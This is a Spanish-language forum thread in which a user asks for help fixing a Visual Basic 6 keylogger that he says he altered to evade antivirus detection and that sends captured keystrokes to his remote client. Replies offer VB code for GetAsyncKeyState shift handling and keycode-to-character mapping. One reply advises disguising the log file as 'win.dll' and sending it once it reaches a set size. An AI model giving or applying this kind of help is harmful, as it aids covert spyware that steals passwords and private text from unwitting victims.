keylogger visual basic

Iniciado por elguast, 25 Noviembre 2008, 23:19 PM

0 Miembros y 1 Visitante están viendo este tema.

elguast

buenas estoy haciendo un keylogger en vb6 y tengo un problemilla  ;D...
me captura todas las teclas bien pero cuando pulso una tecla ejemplo la h pues me sale mayuscula y minuscula  :rolleyes: asin todas las teclas como podria solucionarlo?

seba123neo

mirando el codigo y fijandote en donde entra al pulsar las teclas....en el codigo esta el problema  :P
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

BlackZeroX


Si tu hisiste el codigo del Keyloger deberias saber ¬¬. y si no preguntandole al creador o lee un manual de Basic.
The Dark Shadow is my passion.

elguast

#3
el codigo no es mio pero lo estoy modificando en la mayor parte hasta lo detectaban 3 antivirus ahora ninguno el fallo creo que esta en el timmer..eso parece.. ;D
bueno ya esta solucionado  ;D


pero ahora jaaj me sale todo en mayusculas y no se por que?

& eDu &

No creo que el fallo este en el timer, si apretas la h en minuscula siempre será en minuscula, un timer no la puede cambiar si no hay un código dentro que lo diga.

elguast

es que resulta que en el timer tengo el codigo para que me mande las teclas pulsadas a mi cliente..pero ya solucione..lo que me pasa ahora es que me infecto con el server me funciona biien pero cuando me llega las pulsaciones me sale todo en mayuscula y nada en minuscula..sabes como lo solucionaria?

& eDu &

Mira, haz que se guarde todo en un win.dll <-- para disimular, y abres el archivo y cuando tenga x caracteres que lo envie al cliente asi es más sencillo.

‭‭‭‭jackl007

mira debes tener una funcion que detecte si esta activado entonces la tecla shift, de ser asi cuando procedes con el reconocimiento de la tecla entonces deberias hacer una conversion si en caso esta activado... esto seria en el timer encargado de averiguar la tecla pulsada.
captas la idea?
lo mismo para el mayus...

WestOn

#8
Wenas, si no pudiste cambiar lo de q esten en mayusculas puedes usar la funcion LCase:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
Dim a As String
a = LCase(Text1.Text)
Text1 = a
End Sub

Escribe algo en mayus en el text y luego se pasaran a minus, nose quiza te sirva si no lo solucionaste, un saludo ;)

PD:Con la funcion UCase cambia de mayus a minus :P
En mi cabeza existe una barrera espacio-tiempo de 4cm³. ¿Alguien sabe como eliminarla?.
                                                                                                                                                                                                                            

gulabyte

#9
Como ya han dicho, si repararas un poco en el codigo seguramente verias que no tienes ninguna sentencia que te distinga si la tecla es mayuscula o minuscula, es decir, que te verifique si al pulsar la tecla esta tambien pulsado el shift o no.

La funcion para el shift es la siguiente y devuelve un boolean

Public Function GetShift() As Boolean
    GetShift = CBool(GetAsyncKeyState(vbKeyShift))
End Function


Evidentemente tienes que tener declarada la funcion GetAsyncKeyState y que llege hasta donde esta el GetShift()

Asi despues en el timer del keylogger podrias poner

Case 57 'Para el numero 9
    If GetShift = True Then
        Written = Written & ")"
        Else: Written = Written & "9"
    End If

'Para las letras 65-90
Case 65 To 90
If GetShift = True Then
    Written = Written & UCase(Chr$(KeyCode))
    Else: Written = Written & LCase(Chr$(KeyCode))
End If

Case 188 'O por ejemplo la coma
If GetShift = True Then
    Written = Written & ";"
    Else: Written = Written & ","
End If


Si tienes algun problema con alguna tecla simplemente pon MsgBox keycode despues de la funcion que mira las pulsaciones y asi te devolvera el numero ASCII de la tecla, luego anades un case para ese numero y fuera....

Mira el codigo e intenta ver siempre por que no funciona

Modificado.
PDD El problema en si es que al no mirar si esta pulsada la tecla shift o no, la funcion GetAsyncKeyState te devuelve siempre 65 al pulsar la "a", 66 al pulsar la "b" y asi consecutivamente y estos numeros pertenecen a las mayusculas en el ASCII, el teclado no devuelve los numeros de las minusculas, que estan entre 97 y 122. Como tu obtienes la letra a partir del numero que te devuelve la funcion, pones siempre mayuscula.